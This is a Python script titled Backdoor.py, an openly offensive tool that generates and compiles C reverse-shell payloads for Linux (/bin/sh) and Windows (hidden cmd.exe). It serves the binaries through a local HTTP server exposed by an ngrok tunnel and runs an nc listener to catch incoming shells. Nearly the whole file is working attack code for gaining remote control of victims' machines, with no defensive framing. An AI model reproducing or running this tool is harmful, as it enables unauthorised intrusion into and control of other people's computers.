Backdoor.py

from subprocess import check_output
from time import sleep
import os
import sys
import http.server
import socket
import re


print("Start Attacks Backdoor :D")
sleep(2)
 
def choice():
    print("""

    [\033[1;39m1\033[1;36m] linux
    [\033[1;39m2\033[1;36m] windows
    [\033[1;39m3\033[1;36m] Listening Connection
    [\033[1;39m4\033[1;36m] Exit
""")

    options = input("\033[1;39mSelect Your Target System : \033[1;39m")

    if (options == '1'):

        host = input("\n\033[1;36mIP: \033[1;39m")
        port = input("\n\033[1;36mPORT: \033[1;39m")
        linux_shell(host, port)
        os.system("gcc .linux.c -o LinuxBackDoor -pthread && rm -rf .linux.c")
        os.system("chmod +x LinuxBackDoor")
        print("\n\033[1;36mFile Saved > \033[1;39mLinuxBackDoor")

        os.system("python3 -m http.server 80 > .server 2> /dev/null &")
        os.system("chmod +x ngrok")
        name1 = "/LinuxBackDoor"
        portN = 80
        os.system("./ngrok http {} > /dev/null &".format(portN))
        sleep(8)
        os.system('curl -s -N http://127.0.0.1:4040/api/tunnels | grep "https://[0-9a-z]*\.ngrok.io" -oh > link2.url')
        urlFile = open('link2.url', 'r')
        url = urlFile.read()
        urlFile.close()
        if re.match("https://[0-9a-z]*\.ngrok.io", url) != None:
            print("\n\033[1;36mLINK : \033[1;39m", url + name1)

        print(" ")

    if (options == '2'):

        host = input("\n\033[1;36mIP: \033[1;39m")
        port = input("\n\033[1;36mPORT: \033[1;39m")
        windows_reverse(host, port)
        os.system(
            "/usr/bin/i686-w64-mingw32-gcc .windows.c -o windows.exe -lws2_32 && rm -rf .windows.c")
        print("\n\033[1;36mFile Saved > \033[1;39mwindowsBackdoor")
        os.system("python3 -m http.server 80 > .server 2> /dev/null &")
        os.system("chmod +x ngrok")
        name2 = "/Windows.exe"
        portN = 80
        os.system("./ngrok http {} > /dev/null &".format(portN))
        sleep(8)
        os.system('curl -s -N http://127.0.0.1:4040/api/tunnels | grep "https://[0-9a-z]*\.ngrok.io" -oh > link2.url')
        urlFile = open('link2.url', 'r')
        url = urlFile.read()
        urlFile.close()
        if re.match("https://[0-9a-z]*\.ngrok.io", url) != None:
            print("\n\033[1;36mLINK : \033[1;39m", url + name2)

        print(" ")

    if (options == '3'):
        port = input("\n\033[1;36mPORT: \033[1;39m")
        print("\n\033[1;36mWaiting For Connection ...\n")
        os.system("nc -l -p %s" % port)
        print("\033[1;36m")

    if (options == '4'):
        sys.exit()
        os.system("fuser -k -n tcp 80")


    else:
        choice()


def linux_shell(host, port):
    with open(".linux.c", "w") as file:
        file.write('''
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main (int argc, char **argv)
{
  int scktd;
  struct sockaddr_in client;

  client.sin_family = AF_INET;
  client.sin_addr.s_addr = inet_addr("%s");
  client.sin_port = htons(%s);
  scktd = socket(AF_INET,SOCK_STREAM,0);
  connect(scktd,(struct sockaddr *)&client,sizeof(client));
  dup2(scktd,0); // STDIN
  dup2(scktd,1); // STDOUT
  dup2(scktd,2); // STDERR
  execl("/bin/sh","sh","-i",NULL,NULL);
  return 0;
}
''' % (host, port))


def windows_reverse(host, port):
    with open(".windows.c", "w") as file:
        file.write('''
#include <winsock2.h>
#include <stdio.h>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib,"ws2_32")
  WSADATA wsaData;
  SOCKET Winsock;
  SOCKET Sock;
  struct sockaddr_in hax;
  char ip_addr[16];
  STARTUPINFO ini_processo;
  PROCESS_INFORMATION processo_info;
 //int main(int argc, char *argv[])
 int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdParam, int iCmdShow)
{
    FreeConsole();
    WSAStartup(MAKEWORD(2,2), &wsaData);
    Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

    struct hostent *host;
    host = gethostbyname("''' + host + '''");
    strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    hax.sin_family = AF_INET;
    hax.sin_port = htons(atoi("''' + port + '''"));
    hax.sin_addr.s_addr = inet_addr(ip_addr);
    WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
    memset(&ini_processo,0,sizeof(ini_processo));
    ini_processo.cb=sizeof(ini_processo);
    ini_processo.dwFlags=STARTF_USESTDHANDLES;
    ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
    CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NO_WINDOW,NULL,NULL,&ini_processo,&processo_info);
}
''')


if __name__ == '__main__':
    choice()